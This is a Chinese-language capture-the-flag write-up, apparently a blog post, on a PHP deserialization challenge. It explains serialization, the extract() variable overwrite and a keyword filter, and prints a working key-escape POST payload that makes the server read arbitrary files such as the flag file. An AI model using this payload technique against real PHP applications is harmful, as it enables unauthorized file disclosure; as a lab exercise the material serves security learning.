• [安洵杯 2019]easy_serialize_php


    [安洵杯 2019]easy_serialize_php.md

    锻炼代码审计能力和学习

    PHP反序列化

    反序列化中的对象逃逸

    SQL注入既视感

    首先明确几个点:

    chichichi

    序列化后的结果是一串字符串。

    反序列化会解开序列化的字符串生成相应类型的数据。

    如下代码示例,img是一个数组,下标分别是one和two,对应的值分别是flag,test。

    <?php
    $img['one'] = "flag";
    $img['two'] = "test";
    $a = serialize($img);
    var_dump($a);
    #输出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"
    
    $b = unserialize($a);
    var_dump($b);
    /*输出如下内容:
    array(2) {
      ["one"]=>
      string(4) "flag"
      ["two"]=>
      string(4) "test"
    }
    */
    

    序列化部分:

    经过serialize序列化后生成了相应的字符串: a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}

    a表示数组 , a:2中的2表示有两个键值,即对应的one、two两组键值对。

    花括号中的s都表示string即字符串,

    s:后面的值分别是3、4、3、4,即对应的字符串长度,比如one长度是三,flag长度是4

    反序列化部分:

    unserialize函数将字符串解序列化,我们用var_dump函数显示了他的详细信息。

    可见解序列化后由变量$b,接收了img数组。

    序列化中每个字母的表示

    a array数组
    b boolean判断类型
    d double浮点数
    i integer整数型
    o common object 一般的对象
    r reference引用类型
    s string字符串类型
    C custom object
    O class
    N null
    R pointer reference
    U unicode string

    分析题目源码

    <?php
    
    $function = @$_GET['f'];
    
    function filter($img){
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    
    if($_SESSION){
        unset($_SESSION);
    }
    
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    
    extract($_POST);
    
    if(!$function){
        echo '<a href="index.php?f=highlight_file">source_code</a>';
    }
    
    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
    
    $serialize_info = filter(serialize($_SESSION));
    
    if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    }
    

    发现d0g3_f1ag.php

    我把可以对应起来的代码放到了一起

    $function = @$_GET['f'];
    
    if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    }
    

    根据上面可以清楚,f是我们用get方法传参得到的变量并由$function接收。

    $function发挥作用的代码块,在最下方的判断句。

    咱们初步访问的时候f=highlight_file,

    判断句中给了提示,那么f=phpinfo时,我们就看到了phpinfo的页面,phpinfo有很多配置项会显示。

    我们发现了auto_append_file d0g3_f1ag.php 在页面底部加载文件d0g3_f1ag.php。

    所以可以猜测flag应该要从d0g3_f1ag.php拿。

    当f=show_image是可以读文件的,只要$userinfo['img']是相应的flag.php的base64加密,所以我们先记住这个点,一会肯定要用

    image-20200419154751652

    发现变量覆盖

    if($_SESSION){
        unset($_SESSION);
    }
    
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    
    extract($_POST);
    

    filter函数是为了过滤用的,可以先继续往下看,到如下的时候。

    我萌发现unset函数将$_SESSION销毁了。

    然后重新赋予$_SESSION了新的值。

    最后调用了extract($_POST);

    extract() 函数从数组中将变量导入到当前的符号表。

    可参考:https://www.w3school.com.cn/php/func_array_extract.asp

    举例extract()变量覆盖

    根据extract()我们可以进行变量覆盖,

    当我们传入SESSION[flag]=123时,$SESSION["user"]和$SESSION['function'] 全部会消失。

    只剩下_SESSION[flag]=123。

    <?php
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    var_dump($_SESSION);
    echo "<br/>";
    extract($_POST);
    var_dump($_SESSION);
    

    image-20200419160316281

    继续往下

    知道了变量符改,我们可以干什么呢,往下看叭。

    由于有了如下的代码,我们直接进行变量覆盖,直接给$SESSION['img']一个预想的值是不现实的,

    因为$SESSION['img'] = base64_encode('guest_img.png')是后执行的。

    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
    

    穷途末路

    function filter($img){
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    
    $serialize_info = filter(serialize($_SESSION));
    
    if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    }
    

    只能看看filter函数了,发现把传入的字符串几个特定字符会替换成空。

    后来就是看大佬萌的wp了。

    大佬萌都是用键值逃逸。

    原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:"name",那s:4就必须有一个字符串长度是4的否则就往后要。

    并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

    示例:

    <?php
    #正规序列化的字符串
    $a = "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}";
    var_dump(unserialize($a));
    #带有多余的字符的字符串
    $a_laji = "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";};s:3:"真的垃圾img";lajilaji";
    var_dump(unserialize($a_laji));
    

    我们有了这个逃逸概念的话,就大概可以理解了。如果我们把

    $_SESSION['img'] = base64_encode('guest_img.png');这段代码的img属性放到花括号外边去,

    然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。

    那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成空。

    大佬的payload:

    post一个数据。

    _SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
    

    ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。

    s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}这个肯定就是我们预期的那段序列化字符,

    那么 ;s:1:"1"; 这几个字符呢?

    如果使用大佬的payload那么可以明白,现在的_SESSION就存在两个键值即phpflag和img对应的键值对。

    并且这个字符串得好好读才能不蒙圈。

    $_SESSION['phpflag']=";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";
    $_SESSION['img'] = base64_encode('guest_img.png');
    var_dump( serialize($_SESSION) );
    #"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
    ;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
    

    经过filter过滤后phpflag就会被替换成空,

    s:7:"phpflag";s:48:" 就变成了 s:7:"";s:48:";即完成了逃逸。

    两个键值分别被序列化成了

    s:7:"";s:48:";s:1:"1";即键名叫";s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。

    s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";键名img对应的字符串是d0g3_f1ag.php的base64编码。

    右花括号后面的;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"全被当成孤儿放弃了。

    注入

    image-20200419165821261

    发现/d0g3_fllllllag

    image-20200419165856797

    拿flag

    /d0g3_fllllllag进行base64加密L2QwZzNfZmxsbGxsbGFn,恰巧也是20位。就替换原来的就好。

    image-20200419170008673

    不行了我哭了

    感觉自己和那个被扔掉的序列化字符串一样是个孤儿。

    kl

  • 相关阅读:
    MDX语法
    BI
    Lucene
    并行开发
    12 个最佳的免费网络监控工具
    ASP.NET 在IIS7.5下自定义404错误页面的方法
    MSBuild和Jenkins搭建持续集成环境
    MVC View显示详解(RenderBody,RenderPage,RenderSection,Partial)
    PDFsharp Samples
    C#获取程序集自动增加的版本号和编译时间
  • 原文地址:https://www.cnblogs.com/h3zh1/p/12732336.html
Copyright © 2020-2023  润新知